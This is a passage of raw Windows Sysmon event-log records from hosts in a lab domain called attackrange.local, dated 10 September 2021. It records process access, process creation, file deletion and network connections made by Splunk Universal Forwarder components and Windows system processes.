Files\SplunkUniversalForwarder\bin\splunk-regmon.exe8.0.2Registry monitorsplunk ApplicationSplunk Inc.splunk-regmon.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe"C:\Windows\system32\NT AUTHORITY\SYSTEM{7BD73061-65B0-613B-E703-000000000000}0x3e70SystemMD5=91F33F605825B72EE2270559C7AB28F3,SHA256=3DF1CB71BB48B8669BD01179FD94DD8CC82F8103B08A0FACFD366E43E0C5FA42,IMPHASH=23D7D4307FBE7FA4F42B1902826D7C25{7BD73061-664E-613B-B000-00000000F001}4184C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe" service 10341000x800000000000000048465Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:57:20.288{7BD73061-7250-613B-460B-00000000F001}71004224C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe{7BD73061-664E-613B-B000-00000000F001}4184C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe0x101400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+55e675|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+55e1a6|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+6b453|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+8e8530|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000048464Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:57:20.023{7BD73061-664F-613B-B400-00000000F001}36484280C:\Windows\system32\conhost.exe{7BD73061-7250-613B-460B-00000000F001}7100C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000048463Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:57:20.023{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+fd18|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000048462Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:57:20.023{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000048461Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:57:20.023{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000048460Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:57:20.023{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000048459Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:57:20.023{7BD73061-65AF-613B-0500-00000000F001}412672C:\Windows\system32\csrss.exe{7BD73061-7250-613B-460B-00000000F001}7100C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000048458Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:57:20.023{7BD73061-664E-613B-B000-00000000F001}41843260C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe{7BD73061-7250-613B-460B-00000000F001}7100C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+ce6a3b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17cade|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18641d|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17ef16|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c992c4|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18689b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+189d3c|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c95f5f|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c99fad|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+184c5b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c7dd7e|C:\Windows\System32\ucrtbase.dll+1fb80|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 154100x800000000000000048457Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:57:20.024{7BD73061-7250-613B-460B-00000000F001}7100C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe-----"C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" --ps2C:\Windows\system32\NT AUTHORITY\SYSTEM{7BD73061-65B0-613B-E703-000000000000}0x3e70SystemMD5=030CC9FD3784684043D9236FF16904DE,SHA256=6C84A212BD1EA1FCC493E9F8ED1C1507E2773F6FE71ACDE265067F3153BE6241,IMPHASH=45491F0E80AC016364EB8FB78BD23A1C{7BD73061-664E-613B-B000-00000000F001}4184C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe" service 23542300x800000000000000048485Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:57:21.742{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=046057D2A64D8D70F13731AA16BF7EE1,SHA256=01D3BAE61D7186AC3E1449264839C6CDD49FA6DEFA19BE3EDF3918D39D66DCE8,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000016157Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:57:21.119{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=A2501B0E25063E15D2B8B72A7F20E50E,SHA256=9C83C8C677CC80F926C12C90EAAFD3D7E45A0355846BF4EFC5CB19C4E8958E63,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000048484Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:57:21.695{7BD73061-664F-613B-B400-00000000F001}36484280C:\Windows\system32\conhost.exe{7BD73061-7251-613B-480B-00000000F001}6828C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000048483Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:57:21.695{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+fd18|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000048482Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:57:21.695{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000048481Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:57:21.695{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000048480Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:57:21.695{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000048479Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:57:21.695{7BD73061-65AF-613B-0500-00000000F001}412500C:\Windows\system32\csrss.exe{7BD73061-7251-613B-480B-00000000F001}6828C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000048478Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:57:21.695{7BD73061-664E-613B-B000-00000000F001}41843260C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe{7BD73061-7251-613B-480B-00000000F001}6828C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+ce6a3b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17cade|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18641d|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17ef16|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c992c4|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18689b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+189d3c|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c95f5f|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c99fad|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+184c5b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c7dd7e|C:\Windows\System32\ucrtbase.dll+1fb80|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 154100x800000000000000048477Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:57:21.695{7BD73061-7251-613B-480B-00000000F001}6828C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe8.0.2Windows Print Monitor splunk ApplicationSplunk Inc.splunk-winprintmon.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe"C:\Windows\system32\NT AUTHORITY\SYSTEM{7BD73061-65B0-613B-E703-000000000000}0x3e70SystemMD5=36D3753920C5BBCA16D12DEAD7A3A904,SHA256=EA17F69FB116CFA6ADC3CE07EBBAE3FD2CB221F25E3F7A9ADF3F15DA051831E2,IMPHASH=264D4B9546D98D77D97F569F55A0B748{7BD73061-664E-613B-B000-00000000F001}4184C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe" service 23542300x800000000000000048487Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:57:22.773{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=CB81047231DBF876215E455D77F4CBFA,SHA256=AA72A72C68EEB845B8B4E4CAF709815D213DB18AF5E46EB895D0C5A85AD2B83E,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000048486Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:57:22.773{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SecurityMD5=6910940DC0BBBAE94914996B1FD22235,SHA256=303482490BBADD6FF1E93B4ED72ADEB93D66907831D8BDD64CA736DC1849D040,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000016158Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:57:22.135{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=997DDAB62AE7B4A435B578E9F6BCF3BB,SHA256=AD94D939986640411DECEE071671C3FBFB6A47BE24A5DAE2FA4200251A9901C1,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000048488Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:57:23.788{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=5A14FCF8494C0E5C0C9DC0A63AFBF0F8,SHA256=90E4B32B3872476E57128E07A0AC8188F354F339AB18C9454865710CD4D25BC7,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000016159Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:57:23.135{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=73E30BF962E28FB69901D280E0DE00E9,SHA256=2A02F27BF5D3420837C1D04E18F233CF47560CB716FE45F84AD64A870324ECA7,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000048490Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:57:24.804{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=8108E38C7C4FB7BBE22E68114F20FAE9,SHA256=D118321F80D2C73EE23E838302831B5E03404C2E7F26E00247B282220765396A,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000016160Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:57:24.150{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=68671A295F6D38157B70789C4A45AD1F,SHA256=145A8940A65CDC7810BDBCF21E7FCD326F0C86C42012A44E053DB01800C92326,IMPHASH=00000000000000000000000000000000falsetrue 354300x800000000000000048489Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:57:21.438{7BD73061-6658-613B-DE00-00000000F001}3980C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.14win-dc-387.attackrange.local59476-false10.0.1.12-8000- 23542300x800000000000000048491Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:57:25.835{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=617F927C77F0E03CA8D7C2BBF7198431,SHA256=1269D74F18275944B97E583A1E80B509260966D5B83A943493C073F664A187D1,IMPHASH=00000000000000000000000000000000falsetrue 354300x800000000000000016162Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:57:23.489{625C326B-6882-613B-D200-00000000F101}3164C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.15win-host-166.attackrange.local50274-false10.0.1.12ip-10-0-1-12.eu-central-1.compute.internal8000- 23542300x800000000000000016161Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:57:25.150{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=9617774676D8DBA597C4CB00C365FE95,SHA256=B7692426D52A65CB855228415BFC13D7BF0E03778CCCD687DA6507153407BF33,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000048492Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:57:26.851{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=6FBA17D2978F2C1B56171C9CA59CB049,SHA256=2C3372390E1B8E5C08677E6BEE810BD7D1CCDECE2B1F9F6806AEA6208AFC6431,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000016163Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:57:26.166{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=5ABD0581BD360F3DBB6CC43FC128C0A6,SHA256=0E310C4F76874D37E1D9A6D91EC1D76EB17F23C859B0E9885AC7CDA5996B7317,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000016164Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:57:27.182{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=DD692C02D8EBC900E00FDD1F574DBB9B,SHA256=B93D71AAF19689EB2820F28192173623C12200BD8C90A8077678440DC67C323C,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000016165Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:57:28.182{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=D5F64BF8F9C304E84E5ABA345A319FC1,SHA256=2CB04D613AA2C8B3FB8E3098B31B26654B3050EF94B9349234CD2B0FC76D2123,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000048493Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:57:28.023{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=88575DD9AF2804A36A8D2134ADB8593C,SHA256=55545DF86B2610448D7244928A273E7F691139295904A4AEB83047C6BA6E4E64,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000016166Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:57:29.197{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=3A06D608877011CFFE561F1F2C169C8F,SHA256=D3F10EEEC44CC2142B9A38971F87A370C630DBD5EAA70F9611EF65E5A2CB4BFA,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000048496Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:57:29.804{7BD73061-664E-613B-B000-00000000F001}4184NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunkd.exeC:\Program Files\SplunkUniversalForwarder\var\run\serverclass.xmlMD5=086DB1CFB481058C3EF9F48D868FE74F,SHA256=BB95DB224236BED3122F53106B6D7A2930FE56435B98D0E225AAE99BDF5D7CF8,IMPHASH=00000000000000000000000000000000falsetrue 354300x800000000000000048495Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 